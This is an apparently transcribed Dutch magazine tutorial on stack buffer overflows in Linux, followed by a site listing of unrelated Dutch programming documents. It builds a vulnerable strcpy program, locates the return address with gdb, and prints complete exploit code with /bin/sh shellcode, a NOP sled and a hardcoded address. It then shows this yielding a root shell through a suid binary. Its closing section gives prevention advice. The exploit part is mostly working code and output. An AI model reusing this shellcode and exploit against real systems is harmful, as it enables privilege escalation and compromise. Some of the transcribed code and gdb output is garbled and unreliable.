Laat geen fouten staan
|
|
- Simona Mertens
- 4 jaren geleden
- Aantal bezoeken:
Transcriptie
1 Stackoverflow Laat geen fouten staan Portscanners, sniffers, passwordcrackers en vele andere tools, ze zitten allemaal in de toolbox van een cracker. Maar wie zijn dan de personen die deze bruikbare tools maken? En hoe kunnen ze die exploits maken en aan wat voor fouten in de programmatuur moet je denken? In dit artikel wordt uitleg gegeven van de basis van alle programmeerfouten, en de wijze waarop je hiervoor een exploit schrijft. Mark Bergman, V rijwel iedereen heeft wel eens een applicatie gezien die onder Windows XP crasht (zie afbeelding 1). Zulke foutmeldingen zijn echter ook binnen een GNU/Linux omgeving aan te treffen, kijk bijvoorbeeld eens naar de output van een crashende GNU/Linux applicatie. $./hello world hello world $./hello abcdefghijklmnopqrstuvwxyz hello abcdefghijklmnopqrstuvwxyz Voor de crash in Windows is gebruik gemaakt van informatie omtrent het bekende en ondertussen enigszins oude CDDA lek in Winamp. Voor GNU/Linux (verder aangeduid als Linux) is voor het gemak een testprogramma geschreven. Dit programma wordt als voorbeeld gebruikt binnen dit artikel. Voor dit artikel is gebruik gemaakt van een Debian-installatie onder VMware. Geheugen Hieronder wordt de output van het commando uname getoond, deze geeft aan welke versie van Linux we gebruiken. Vervolgens Programma int main(int argc, char ** argv) char name[10]; if(argc!= 2) printf( usage: hello <name>\n ); exit(1); strcpy(name, argv[1]); printf( hello %s\n, name); return(0); Afbeelding 1... de output van het commando gcc v, deze geeft aan welke versie van gcc we gebruiken. $ uname -a Linux vmhack bf2.4 #1 Son Apr 14 09:53:28 CEST 2002 i686 unknown $ gcc -v Reading specs from /usr/lib/gcc-lib/i386-linux/2.95.4/ specs gcc version (Debian prerelease) Wanneer een programma niet goed met zijn geheugen omgaat, kan dit voor problemen zorgen. Het kan zo gebeuren dat een programma niet genoeg geheugen reserveert en daardoor ongewenste informatie overschrijft. Wanneer een functie binnen een programma is afgerond gaat het operating system op zoek naar de eerstvolgende uit te voeren instructie, deze staat ook in het geheugen van de computer. Wanneer een functie aangeroepen wordt, komt er een verwijzing op de stack te staan. Deze verwijzing bevat het adres waar het programma verder moet gaan wanneer de functie verlaten wordt. Deze wordt ook wel ret genoemd. Wat staat voor return adress. De stack is een gebied in het geheugen van een programma waarin data voor functies wordt gezet en waarin functie-aanroepen worden klaargezet. De stack is simpel qua opzet. Het 52
2 is een opstapeling van gegevens, wanneer de applicatie iets wegschrijft komt dit simpelweg na het vorige weggeschreven item op de stack te staan. Wanneer een functie wordt aangeroepen zet het operating system deze eerst in de stack waar het programma gebleven is. De ret wordt naar de stack geschreven. Ook wordt op de stack ruimte gereserveerd voor name, in ons geval wordt er voor name 10 bytes gereserveerd. Ter verduidelijking is in afbeelding 2 een schema te zien dat de stack weergeeft. In het schema zie je een pijl naar links. De stack groeit zoals men dat noemt naar beneden. Eerst wordt ret op de stack gezet (a,b en c zijn de waardes die als argument aan een functie mee worden gegeven) dan wordt de frame pointer weggeschreven, aangeduid als saved framepointer (sfp). De frampointer is een soort navigatiepunt op de stack. Vanuit de framepointer kan het operating system de variabelen op de stack bereiken. De oude framepointer wordt opgeslagen voor wanneer de functie afgerond is en de aanroepende functie zijn werk voort kan zetten. Deze heeft dan zijn eigen frame pointer weer nodig. Daarna worden 10 bytes gereserveerd onder de noemer name, later zetten we hier data in. Wat nu als de verwijzing die aangeeft waar de applicatie verder moet gaan nadat de uitgevoerde functie is veranderd en dan naar een ander adres wijst? Wat er dan gebeurt heb je net gezien. ret wordt op de een of andere manier veranderd waardoor het naar een stuk geheugen verwijst waar helemaal geen instructies staan. Het gevolg is dat het programma de weg kwijt is en crasht. Een simpel programma Om te beginnen wordt een simpel programma geschreven dat niet lijkt te crashen en zijn werk goed doet, zie het kader Programma. Compileer het programma als volgt: $ gcc./hello.c o hello Een C-programma begint met het draaien van de main() functie. De exacte werking van C wordt in dit artikel niet verder toegelicht. Mocht je toch wat meer basiskennis willen vergaren dan zou je de driedelige programmeerworkshop beginnend in Linux magazine Nummer 6 jaargang 3 er nog eens bij moeten pakken of het boek C handboek van Kernighan & Ritchie. Hieronder wordt de code die in het voorbeeld gebruikt wordt kort toegelicht.: if(argc!= 2) Programma 2 int main(int argc, char ** argv) char name[128]; if(argc!= 2) printf( usage: hello <name>\n ); exit(1); strcpy(name, argv[1]); printf( hello %s\n, name); return(0); Deze if-conditie gaat na of tenminste 1 argument is meegegeven; Het eerste argument wordt aangeduid met argv[0], wat staat voor het eerste item in de argv array, dit is het commando, oftewel de naam van de applicatie. Het tweede argument, argv[1], staat dan vanzelfsprekend voor het tweede argument en is het eerste argument dat wij aan het commando meegeven. strcpy(name, argv[1]); Deze functie kopieert de inhoud van het door ons meegegeven argument naar name. Vervolgens wordt onderstaande functie gebruikt om het op het scherm te printen. printf( hello %s\n, name); Hierbij moet opgemerkt worden dat er slechts 10 tekens gereserveerd zijn voor name. Met andere woorden, name is een array van name[0] tot name[9]. Hieronder wordt het programma eerst naar behoren uitgevoerd zodat zichtbaar wordt dat het werkt. Vervolgens wordt het programma nog een keer uitgevoerd, deze keer echter met te veel input waardoor het programma crasht. $./hello world hello world $./hello abcdefghijklmnopqrstuvwxyz hello abcdefghijklmnopqrstuvwxyz note: als je de melding krijgt Segmentation fault maar zonder de (core dumped) voer dan onderstaand commando uit: $ ulimit -c unlimited note: Verzeker je ervan dat je niet als root aan het werk bent. Afbeelding 2... Uitleg van de crash De crash die zojuist plaatsvond is te verklaren. Hiertoe is het 53
3 Core was generated by `./hello AAAABBBBCCCCD DDDEEEE. Program terminated with signal 11, Segmentation fault. #0 0x in?? () Afbeelding 3... Afbeelding 4... belangrijk twee vragen te beantwoorden. Waarom ging er hier iets fout? En nog belangrijker, hoe kunnen we er ons voordeel doen? Het schema in afbeelding 3 geeft de inhoud van de stack weer na het kopiëren van de string naar de array name[]. In deze situatie zijn sfp, ret, a en b ook gevuld. Om het niet te complex te maken is dit niet in het schema meegenomen. De getallen staan er puur ter verduidelijking, \0 staat voor een null-byte. Daarmee wordt in C een string afgesloten, deze is 1 byte groot maar wordt vaak aangeduid met \0 (ook wel als 0x00) omdat de null-byte een niet te printen teken is. In afbeelding 4 staat een schema van hoe de stack er uit zou kunnen zien tijdens het draaien van het eerder geschreven programma. In dit geval heeft het programma abcdefghijklmnopqrstuvwxyz als argument mee gekregen. Zoals je ziet is ret hier overschreven. Op het moment dat het programma de functie return() uitvoert zal hij de code op adres opqr gaan uitvoeren. Natuurlijk is dit niet de juiste notatie van een adres en is het ook geen zinnig adres. Nu moet uitgezocht worden welke 4 tekens eigenlijk precies over ret heen komen te staan. $./hello AAAABBBBCCCCDDDDEEEE hello AAAABBBBCCCCDDDDEEEE Het vinden van ret op de stack De logische verwachting is dat dit BBBB zou zijn. Er zijn namelijk 10 bytes gevuld met getallen, dan 4 A s (waar sfp verwacht wordt) en vervolgens 4 B s die ret zouden moeten overschrijven. Met gdb (de GNU debugger) is het mogelijk de geheugendump van een gecrasht programma te bekijken. $ gdb./hello core GNU gdb cvs Copyright 2002 Free Software Foundation, Inc. Het programma is gecrasht op adres 0x Dat is het adres waar het programma zijn eerstvolgende instructie zoekt en niet vindt. In de ASCII-tabel is te zien dat 42 staat voor B en 43 staat voor C. Dit is niet als verwacht, als het programma inderdaad naar BBBB zou springen zou 0x als crash locatie getoond worden. De oorzaak hiervan is zogeheten padding waarbij alles naar boven afgerond wordt op 4 bytes. Als we gaan tellen zien we dat het adres opgebouwd wordt uit de tekens name[16], name[17], name[18], name[19]. Afhankelijk van de versie van GCC en van Linux kan dit verschillen, bovendien zal er 12 bytes voor name[], 4 bytes voor sfp. Dan klopt de berekening weer en is ret te vinden op de 17e tot de 20e plaats in name[]. (aangezien een array bij name[0] begint is dit dus in name[16] tot name[19]). $./hello AAAABBBBCC hello AAAABBBBCCCCDDDDEEEE Als ret wordt voorzien van een ASCII-string die gelezen wordt als een adres waar onze eigen code staat, kunnen we het programma onze code laten uitvoeren. Exploit #include <stdio.h> main() char buffer[512]; /* meer dan genoeg */ memset(buffer, A,512); /* vullen met A */ /*nu op de juiste posities een testadres zodat we dit herkennen*/ buffer[132] = 0x46; buffer[133] = 0x47; buffer[134] = 0x48; buffer[135] = 0x49; buffer[136] = 0x00; /* Meer hebben we niet nodig. We plaatsen een NULL byte om de string af te sluiten*/ /*nu het programma aanroepen met dit als argumenten*/ /* slordig gebruik van execl, lees de manualpage en los het netjes op*/execl(./hello, hello,buffer,null); 54
4 Kader gdb x/164 $esp 0xbffffcf4: 0x xbffffd54 0xbffffd60 0x xbffffe14: 0x x x x xbffffe24: 0x x x x6c6c6568 0xbffffe34: 0x f 0x x x xbffffe44: 0x x x x xbffffe54: 0x x x x xbffffea4: 0x x x x xbffffeb4: 0x x x x2f3d4457 0xbffffec4: 0x656d6f68 0x f 0x2f x6b xbfffff64: 0x2f656d6f 0x x x3d4d5245 0xbfffff74: 0x x d 0x2f3d4854 0x2f Referenties C handbook Auteur: Uitgeverij: ISBN Kernighan & Ritchie Smashing the stack for fun and Profit Hiertoe moet een stuk geheugen gezocht worden waarin we onze code plaatsen. Vervolgens moet het adres van dit stuk geheugen opgezocht worden om de zojuist geplaatste code terug te vinden. Om het artikel enigszins begrijpelijk te houden zal het testprogramma een beetje aangepast moeten worden. De lengte van name[10] wordt vervangen door name[128], in die extra ruimte kan de gewenste code geplaatst worden. Het is ook mogelijk om de controle over te nemen als name maar 10 bytes is, hiervoor zijn echter wat aanvullende technieken nodig en daarom een nieuw programma, zie kader Programma 2. Compileer het programma opnieuw. Dit programma zal crashen als er meer dan 128 tekens meegegeven worden. $./hello AAAAAAAAAA......AAAAAAAAAAAAAAAAAAA hello AAAAAAAAAAAA......AAAAAAAAAAAAAAAAAAAA $ Met wat command line Perl (een veelgebruikte platformonafhankelijke scripttaal) kunnen we de input karakters genereren om ze niet alle 128 te hoeven intypen en tellen. $./hello `perl -e printf( A x128); `BBBBCCCC hello AAAAAAAAAAA......AAAAAAAAABBBBCCCC $ Hier wordt de array name[] met precies 128 bytes overschreven en voegen we er nog 8 voor ons herkenbare bytes aan toe. Nu kan met gdb bekeken worden welke karakters als return adres worden gelezen. $ gdb./hello core GNU gdb cvs Copyright 2002 Free Software Foundation, Inc. Core was generated by `./hello AAAAAAAA......AAAAAAAAA. #0 0x in?? () Hier is te zien dat het programma zijn volgende instructies zoekt op 0x , dit is de locatie die ontstaat als je CCCC als adres leest. name[0] tot name[127] is hier gevuld met A s. daarna name[128] tot name[131] met B s en positie name[132] tot name[135] met C s. Deze laatste moet het door ons gewenste adres gaan bevatten. Schrijven van de exploit Met deze informatie kan een exploit geschreven worden, In het kader Exploit is de code hiervan te vinden. In de code is zoveel mogelijk commentaar aangebracht om de code leesbaar en begrijpelijk te maken. Met gdb is nog even snel te kijken of het werkt en of het geplaatste adres inderdaad op de juiste posities terecht komt. $ gdb./hello core GNU gdb cvs Copyright 2002 Free Software Foundation, Inc. Core was generated by `hello AAAAAAAA......AAAAAAAAAAAA. #0 0x in?? () Zoals hierboven te zien is (in de vet gedrukte tekst) staat het adres inderdaad op de juiste plek. Merk op dat het adres in het bovenstaande figuur achterstevoren staat. Als straks het gewenste adres in de code opgenomen wordt, zal dit dus ook omgedraaid moeten worden om het correct in het geheugen te kunnen plaatsen. Het adres dat nu op de stack staat is echter een tijdelijk adres, op deze locatie staan geen zinnige instruc- 55
5 Exploit 2 #include <stdio.h> /* shellcode die zorgt voor een /bin/sh shell */ char code[] = \x31\xc0\x31\xdb\xb0\x17\xcd\x80 \x31\xc0\x99\x50\x68\x6e\x2f\x73 \x68\x68\x2f\x2f\x62\x69\x89\xe3 \x50\x53\x89\xe1\xb0\x0b\xcd\x80 ; main() char buffer[512]; /* meer dan genoeg */ memset(buffer,0x90,512); /* vullen met NOPS 0x90 */ /* copy the shellcode in the string starting at position 50*/ memcpy( buffer+50, code, strlen(code)); /*nu op de juiste posities het gevonden adres*/ buffer[132] = 0x44; buffer[133] = 0xfe; buffer[134] = 0xff; buffer[135] = 0xbf; buffer[136] = 0x00; execl(./hello, hello,buffer,null); ties. Het gewenste adres is ergens in het begin van de lange reeks A s daar zullen we straks een zogeheten shell-code neer gaan zetten. Een shell-code is een tekstuele string die staat voor een reeks uitvoerbare instructies. Met gdb kan een stuk van de stack bekeken worden met het commando x/168 $esp. De 168 geeft het aantal weergegeven bytes aan. Type in gdb help x/ voor meer informatie (zie kader gdb). Vet gedrukt is eerst het commando te zien waarmee we een deel van de stack op het scherm zetten. De volgende vet gedrukte tekst (0xbffffe44) is het return adres dat gebruikt zal gaan worden. Het wijst namelijk ergens in het begin van de reeks A karakters. Deze reeks A s wordt vervangen door 0x90 tekens. Ook wel NOP s (no operation points) genoemd. Het programma zal hier niets doen maar gewoon de volgende instructie lezen. Hierdoor hoeft het programma niet precies naar het begin van onze code te springen maar ergens in de reeks NOP s. Hier middenin wordt een ASCII string geplaatst die de commando s bevat om een /bin/sh Shell te starten. De vetgedrukte 4746 en 4948 zijn de huidige ret die net geplaatst zijn. Op het internet zijn vele papers te vinden over hoe je zelf je eigen shell-code kunt schrijven. Hiervoor is een basiskennis assembly vereist, dat is ook de reden dat het in dit korte artikel niet uitgelegd wordt. Er zijn op het internet veel bruikbare shellcodes te vinden. Natuurlijk is het wel raadzaam hier zelf ook eens in te duiken. In het kader Exploit 2 is de code van de geschreven exploit te zien, de vet gedrukte delen zijn de gemaakte aanpassingen. Als deze exploit opnieuw gecompileerd en gedraaid wordt, levert dat onderstaande output op. $ gcc./exploit.c -o exploit $./exploit hello 1À1Û Í1ÀPhn/shh//biãPSá ÍDþÿ sh-2.05a$ Er is een /bin/sh shell gestart! Dit levert op dit moment geen voordelen op, de shell is niet gestart met extra rechten, er zijn echter applicaties die een zogeheten suid bit hebben. De applicatie draait dan als de eigenaar van het bestand. Om dit te illustreren geven we hello de permissies van root zodat het proces altijd als root draait. We moeten ervoor zorgen dat root eigenaar wordt en dat het suid bit gezet is. $ ls -las./hello 8 -rwxr-xr-x 1 mark mark 5085 Dec 9 08:00./hello $ su Password: # chown root./hello # chmod +s./hello # exit exit $ ls -las./hello 8 -rwsr-sr-x 1 root mark 5085 Dec 9 08:00./hello $ Aan de s in -rwsr-sr-x is te zien dat het programma draait met de rechten van gebruiker root en group mark. Wanneer de exploit nu nogmaals wordt gedraaid, belanden we in een Shell die draait met de rechten van root! $ whoami mark $./exploit hello 1À1Û Í1ÀPhn/shh//biãPSá ÍDþÿ sh-2.05a# whoami root sh-2.05a# Voorkomen Hoe kunnen soortgelijke fouten voorkomen worden. Dit is vooral een kwestie van het nooit doen van aannames! Ga er altijd vanuit dat iemand te veel of vreemde input aan een applicatie kan, wil en zal geven. Met andere woorden, zorg dat je het geheugen in je programma goed beheerst. In dit geval had het probleem voorkomen kunnen worden door in plaats van een strcpy() de strncpy() functie juist te gebruiken waarin de maximaal te kopiëren lengte opgegeven kan worden. Het is dus van groot belang dat programmatuur erg strikt is bij het controleren van zijn input en dat deze controles op de juiste plaats binnen de applicatie plaats vinden. Naast de stack overflow zijn er nog een groot aantal technieken voorhanden. Zoek voor een aantal extra technieken eens op het internet naar: Heap overflow, race conditions, Double free of format string vulnerabilities. 56
6 57
Demo document template available on the Rapptorlab website
Proef ingediend met het oog op het behalen van de graad van bachelor in de Ingenieurswetenschappen Demo document template available on the Rapptorlab website Course/thesis example Laurent Segers, Tom van
Nadere informatieDebugging in embedded en native systemen met GDB
Debugging in embedded en native systemen met GDB A.M. ten Doesschate July 15, 2015 Abstract Een korte beschrijving : intro gebruik met welke tools en hulpmiddelen van de GDB setup en een summier aantal
Nadere informatieGrafisch programmeren met GTK
LinuxFocus article number 295 http://linuxfocus.org Grafisch programmeren met GTK door Özcan Güngör Over de auteur: Sinds 1997 gebruik ik Linux. Vrijheid, flexibiliteit en
Nadere informatieOefententamen 2. Tijd: 2 uur. Maximaal aantal punten: 30. Naam: Studentnummer:
Oefententamen 2 C Naam: Studentnummer: Tijd: 2 uur Maximaal aantal punten: 30 Menselijke compiler (10 punten) 0. (1 punt) Stel, je haalt het tentamen als je tenminste een 5.5 gemiddeld hebt gehaald voor
Nadere informatieJörg R. Hörandel Afdeling Sterrenkunde.
Jörg R. Hörandel Afdeling Sterrenkunde http://particle.astro.ru.nl/goto.html?prog1213 1 Alle mensen moeten op blackboard ingeschreven zijn! 2 http://particle.astro.ru.nl/goto.html?prog1213 3 eindcijfer:
Nadere informatieEen typisch programma in C en C++ bestaat uit een aantal onderdelen:
Eerste stappen in C. Een typisch programma in C en C++ bestaat uit een aantal onderdelen: /* Alles wat op meerdere lijnen staat zoals hier is commentaar. */ // Dit is commentaar op 1 lijn. Geldig tot einde
Nadere informatieInhoud. A Eskwadraat Linuxcursus UNIX. GNU/Linux. Slackware. Red Hat. GNU/Linux Bestanden Thuiswerken Shell Editors Opdracht.
Inhoud A Eskwadraat Linuxcursus Jitse Klomp Sysop 10 december 2013 GNU/Linux Bestanden Thuiswerken Shell Editors Opdracht Deze presentatie is terug te vinden op home.a-eskwadraat.nl/~sysop/linuxcursus2013/
Nadere informatieOnline c++ leren programmeren:
Online c++ leren programmeren: Inhoud 1)Waar vind ik een c++ compiler?... 2 2)Hoe start ik een programma in c++?... 2 3)Een eerste c++ programma:... 3 Een eerste programma schrijven:... 3 Mijn eerste programma
Nadere informatieTeamhandleiding DOMjudge (versie 2.2.0muKP) 31 mei 2008
judge Teamhandleiding DOMjudge (versie..0mukp) 31 mei 008 /\ DOM DOM judge Inhoudsopgave 1 Inleiding Samenvatting.1 Inlezen en wegschrijven............................... Insturen van oplossingen...............................3
Nadere informatieHet handboek van KDE su. Geert Jansen Vertaling van het handboek: Niels Reedijk Vertaler/Nalezer: Rinse de Vries
Geert Jansen Vertaling van het handboek: Niels Reedijk Vertaler/Nalezer: Rinse de Vries 2 Inhoudsopgave 1 Inleiding 5 2 KDE su gebruiken 6 3 Onder de motorkap 8 3.1 X-authenticatie.......................................
Nadere informatiePascal uitgediept Data structuren
Pascal uitgediept Data structuren MSX Computer & Club Magazine nummer 68-juni/juli 1994 Herman Post Scanned, ocr ed and converted to PDF by HansO, 2001 In deze aflevering wordt bekeken hoe zelf een datastructuur
Nadere informatiecontinue in een for, while of do lus herhaalt de lus vroegtijdig. De volgende herhaling wordt onmiddellijk begonnen.
Hoofdstuk 3: controlestructuren instructies en blokken Naar elke instructie staat een ; Instructies worden door de haakjes {} in een block samengevat. if else if ( expression) statement1; else statement2;
Nadere informatieLineaire data structuren. Doorlopen van een lijst
Lineaire data structuren array: vast aantal data items die aaneensluitend gestockeerd zijn de elementen zijn bereikbaar via een index lijst: een aantal individuele elementen die met elkaar gelinkt zijn
Nadere informatiePROS1E1 Handleiding ( ) Kf/Dd/Bd
1 Inleiding De eerste oefening In deze eerste oefening wordt het voorbeeld 2-1 van bladzijde 11 uit het boek De taal C van PSD tot C-programma (enigszins aangepast) ingevoerd in de computer. Tevens wordt
Nadere informatieObjective-C Basis. 23 april 2005, Eindhoven Patrick Machielse
Objective-C Basis 23 april 2005, Eindhoven Patrick Machielse patrick@hieper.nl Algemeen // extensies Objective-C code in bestanden met.m extensie // commentaar moet! /* Alles hiertussen wordt genegeerd
Nadere informatieEE1400: Programmeren in C BSc. EE, 1e jaar, , 4e college
EE1400: Programmeren in C BSc. EE, 1e jaar, 2012-2013, 4e college Arjan van Genderen, Computer Engineering 11-12-2012 Delft University of Technology Challenge the future Mededelingen Voortgangstoets: Woensdagmiddag
Nadere informatieHANDLEIDING PROGRAMMEREN IN PASCAL (LAZARUS)
HANDLEIDING PROGRAMMEREN IN PASCAL (LAZARUS) Vereiste voorkennis Voldoende kennis van het besturingssysteem (in deze handleiding wordt uitgegaan van Windows) De basisprincipes van programmeren Vereiste
Nadere informatieBestand: /home/karel/scripts/mkusb Pagina 1 van 6
Bestand: /home/karel/scripts/mkusb Pagina 1 van 6 1 #!/bin/bash 2 ############################################################################# 3 # Bestand: mkusb # 4 # Doel: Script voor het maken van
Nadere informatieFunctioneel programmeren
Functioneel programmeren Practicumopgave 2: Mastermind Het doel van deze opgave is het implementeren van het spel Mastermind; zie http://nl.wikipedia.org/wiki/mastermind voor een uitleg. Het spel is klein
Nadere informatieDOMjudge teamhandleiding
judge DOMjudge teamhandleiding Samenvatting /\ DOM DOM judge Hieronder staat de belangrijkste informatie kort samengevat. Dit is bedoeld om snel aan de slag te kunnen. We raden echter ten zeerste aan dat
Nadere informatieEen spoedcursus python
Een spoedcursus python Zoals je in de titel misschien al gezien hebt, geven wij een spoedcursus Python. Door deze cursus leer je alle basics, zoals het rekenen met Python en het gebruik van strings. Het
Nadere informatieDynamiek met VO-Script
Dynamiek met VO-Script Door Bert Dingemans DLA Ontwerp & Software bert@dla-architect.nl Inleiding Op de SDGN nieuwsgroep voor Visual Objects ontstond laatst een draad van berichten over de nieuwe libraries
Nadere informatieXiris handleiding Onderhoudsmodule & database onderhoud
Xiris handleiding Onderhoudsmodule & database onderhoud Copyright 2011 FP-Ruys. FP-Ruys kan geen aansprakelijkheid aanvaarden voor schade die het gevolg is van enig fout in deze handleiding of verkeerd
Nadere informatieIn de tweede regel plaatsen we in het gereserveerde stukje geheugen een getal.
4. Array s Een array is een geïndexeerde variabele. Deze zin zal de nodig vragen oproepen, waarop enige uitleg van toepassing is. Met variabelen hebben we al kennis gemaakt. In een variabele kun je iets
Nadere informatieTentamen Computersystemen
Tentamen Computersystemen baicosy6 2e jaar bachelor AI, 2e semester 21 oktober 213, 9u-11u OMHP D.9 vraag 1 Van een Single Cycle Harvard machine hebben de componenten de volgende propagation delay time:
Nadere informatieProject Software Engineering XML parser: Parsen van een xml CD catalogus
Project Software Engineering XML parser: Parsen van een xml CD catalogus Brent van Bladel brent.vanbladel@uantwerpen.be February 16, 2017 XML (Extensible Markup Language) is een taal waarmee we op een
Nadere informatieDynamisch geheugen beheer
Dynamisch geheugen beheer + Normaal wordt laats in het werkgeheugen gereserveerd tijdens de comilatie aan de hand van de declaraties van de variabelen. + Deze geheugenreservering is statisch: in het bronbestand
Nadere informatieLes drie. Vormen van data in AutoLISP
Les drie Vormen van data in AutoLISP Functies en variabelen door Joop F. Moelee een gelovig volger van de Sacrale Kunst van Luiheid zijn Hoge Priester LISP en Acoliet Script Copyright 2004 by Joop F. Moelee
Nadere informatiePROS1E1 Gestructureerd programmeren in C Dd/Kf/Bd
Inhoudsopgave 1 Inleiding... 1 2 Toekenning- en herhalingsopdrachten (for loop)... 2 2.1 De wet van Ohm... 3 2.2 De spaarrekening... 3 2.3 De transformator... 3 3 Keuze- en herhalingsopdrachten (if, switch,
Nadere informatieLinux Assembly Uitwerkingen van de vragen en opdrachten
Linux Assembly Uitwerkingen van de vragen en opdrachten The choice of a GNU generation Hoofdstuk 3 1. (a) Een system call is een functie geleverd door de kernel (het operating system, een interface tussen
Nadere informatieJörg R. Hörandel Afdeling Sterrenkunde
Jörg R. Hörandel Afdeling Sterrenkunde http://particle.astro.ru.nl/goto.html?prog1415 1 Jörg R. Hörandel Afdeling Sterrenkunde http://particle.astro.ru.nl/goto.html?prog1415 2 Alle studenten moeten op
Nadere informatieTentamen Programmeren in C (EE1400)
TU Delft Tentamen Programmeren in C (EE1400) 3 feb. 2012, 9.00 12.00 Faculteit EWI - Zet op elk antwoordblad je naam en studienummer. - Beantwoord alle vragen zo nauwkeurig mogelijk. - Wanneer C code gevraagd
Nadere informatieEE1400: Programmeren in C BSc. EE, 1e jaar, , 3e college
EE1400: Programmeren in C BSc. EE, 1e jaar, 2012-201, e college Arjan van Genderen, Computer Engineering 4-12-2012 Delft University of Technology Challenge the future Hoorcollege Arrays, Pointers en Strings
Nadere informatieFormulieren maken met Dreamweaver CS 4/CS 5
Formulieren maken met Dreamweaver CS 4/CS 5 In deze handleiding leer je om een formulier en elementen die je binnen een formulier kunt gebruiken, te ontwerpen met Dreamweaver. Het uitgangspunt is dat dit
Nadere informatieMINICURSUS PHP. Op dit lesmateriaal is een Creative Commons licentie van toepassing Sebastiaan Franken en Rosalie de Klerk Bambara
MINICURSUS PHP Op dit lesmateriaal is een Creative Commons licentie van toepassing. 2017-2018 Sebastiaan Franken en Rosalie de Klerk Bambara PHP Cursus Deze cursus is om de eerste stappen in de wereld
Nadere informatieBestand: /home/karel/scripts/nas Pagina 1 van 8
Bestand: /home/karel/scripts/nas Pagina 1 van 8 1 #!/bin/bash 2 ############################################################################# 3 # Bestand: nas # 4 # Doel: Script voor het aankoppelen van
Nadere informatieTentamen Programmeren in C (EE1400)
TU Delft Tentamen Programmeren in C (EE1400) 5 april 2012, 9.00 12.00 Faculteit EWI - Zet op elk antwoordblad je naam en studienummer. - Beantwoord alle vragen zo nauwkeurig mogelijk. - Wanneer C code
Nadere informatieAccelerometer project 2010 Microcontroller printje op basis van de NXP-LPC2368
Accelerometer project 2010 Microcontroller printje op basis van de NXP-LPC2368 Handleiding bij het gebruik van een microcontroller in het Accelerometerproject (Project II) Er zijn speciaal voor het Accelerometerproject
Nadere informatieInstallatie Software - Opdrachten Les 2
Installatie Software - Opdrachten Les 2 ROC van Amsterdam Gooi en Vechtstreek Naam: Klas: Datum: 2010 Jansn 1 van 11 is een operating system dat ten grondslag ligt aan de verschillende versies van Windows.
Nadere informatieExamen Programmeren 2e Bachelor Elektrotechniek en Computerwetenschappen Faculteit Ingenieurswetenschappen Academiejaar juni, 2010
Examen Programmeren 2e Bachelor Elektrotechniek en Computerwetenschappen Faculteit Ingenieurswetenschappen Academiejaar 2009-2010 16 juni, 2010 **BELANGRIJK** 1. Schrijf je naam onderaan op elk blad. 2.
Nadere informatieInstructies en blokken
Herhaling 1 Instructies en blokken 2 Naar elke instructie staat een ; puntkomma Verschillende instructies worden door de accolades in een block samengevat. Een blok is het zelfde als een enkele instructie.
Nadere informatieHoofdstuk 7. Computerarchitectuur
Hoofdstuk 7 Computerarchitectuur 1 controlebus CPU MEMORY I/O databus adresbus Figuur 71 Schematische opbouw van een computersysteem 8 Figuur 72 Een busverbinding Buslijn Out E A In Out E B In Out E C
Nadere informatie4EE11 Project Programmeren voor W. College 2, , Blok D Tom Verhoeff, Software Engineering & Technology, TU/e
4EE11 Project Programmeren voor W College 2, 2008 2009, Blok D Tom Verhoeff, Software Engineering & Technology, TU/e 1 Onderwerpen Terugblik Functies Organisatie (architectuur) van programma s Arrays Structuren
Nadere informatieChris de Kok 223548 TDI 3. Vak: Software Architectuur Datum: 21-01-2008 Docent: Fons van Kesteren
Chris de Kok 223548 TDI 3 Vak: Software Architectuur Datum: 21-01-2008 Docent: Fons van Kesteren Inhoud Inleiding... 3 Black box / White box... 3 XP... 3 SimpleTest... 3 Eclipse plugin... 4 GroupTest...
Nadere informatieKorte uitleg: Wie mag wat met welk bestand
Korte uitleg: Wie mag wat met welk bestand Zoals in Korte uitleg: Directories, meta-data van bestanden, inodes beschreven zit er bij de meta-data van een bestand in de inode van dat bestand een aantal
Nadere informatieDe Arduino-microcontroller in de motorvoertuigentechniek (6)
De Arduino-microcontroller in de motorvoertuigentechniek (6) E. Gernaat (ISBN 978-90-79302-11-6) 1 De Arduino Programmeeromgeving (IDE) 1.1 Inleiding Als we naar de Arduino site gaan kunnen we daar de
Nadere informatieHOGESCHOOL VAN AMSTERDAM Informatica Opleiding. CPP 1 van 10
CPP 1 van 10 ADSdt 1-2009 TENTAMENVOORBLAD Voor aanvang van het tentamen s.v.p. de tentamengegevens goed doorlezen om eventuele misverstanden te voorkomen!! Naam student : Studentnummer : Groep : Studieonderdeel
Nadere informatieQR-code op aanvoerbrief 2.xx.0: Specificaties
QR-code op aanvoerbrief 2.xx.0: Specificaties Door: Bert Velthuijs Datum 1e versie: 5 april 2012 (versie 0.xx) Datum laatste wijziging 20 september 2012 Huidige Versie: 2.xx.0 Wijzigingen 19 juli 2012
Nadere informatieHoofdstuk 8: Functies en parameters
Hoofdstuk 8: Functies en parameters Leerdoelen: Het nut van functies Eigen functies creëren Parameters en argumenten gebruiken Waardes uit functies retourneren middels return Functie benamingen Commentaar
Nadere informatie17 Operaties op bits. 17.1 Bitoperatoren en bitexpressies
17 Operaties op bits In hoofdstuk 1 is gezegd dat C oorspronkelijk bedoeld was als systeemprogrammeertaal om het besturingssysteem UNIX te implementeren. Bij dit soort toepassingen komt het voor dat afzonderlijke
Nadere informatieTalstelsels en getalnotaties (oplmodel)
Talstelsels en getalnotaties (oplmodel) herhalingsvragen 1. Waarom werken computers binair? Omdat binaire computers veel makkelijker te maken is. De kans op fouten is ook veel kleiner. het spanningsverschil
Nadere informatieBerekening van de hash-code van een bestand of CD
1 Berekening van de hash-code van een bestand of CD Berekening van de hash-code van een bestand of CD Inhoudsopgave 1. Inleiding 2 2. Te gebruiken commando bij verschillende besturingsomgevingen 2 3. Download
Nadere informatieVraag 1 (2 punten) (iii) Een lees-opdracht van virtueel adres 2148 seg 0, offset 2148 - idem
Tentamen A2 (deel b) 24-06-2004 Geef (liefst beknopte en heldere) motivatie bij je antwoorden; dus niet enkel ja of nee antwoorden, maar ook waarom. Geef van berekeningen niet alleen het eindresultaat,
Nadere informatieDe standaard programmeertaal
C De standaard programmeertaal Oorsprong CPL stond voor Combined Programming Language of Cambridge Programming Language. Ze stamt uit 1963, maar de eerste compiler arriveerde pas rond 1970. De taal was
Nadere informatieDeel 1: Arduino kennismaking. Wat is een microcontroller, structuur van een programma, syntax,
Deel 1: Arduino kennismaking Wat is een microcontroller, structuur van een programma, syntax, Wat is een microcontroller Wat is een microcontroller? Microcontroller = kleine dedicated computer. - Beperkt
Nadere informatiePythoncursus. Eindopdracht L-systemen. Joost, Koen, Marein en Ramon december 2015
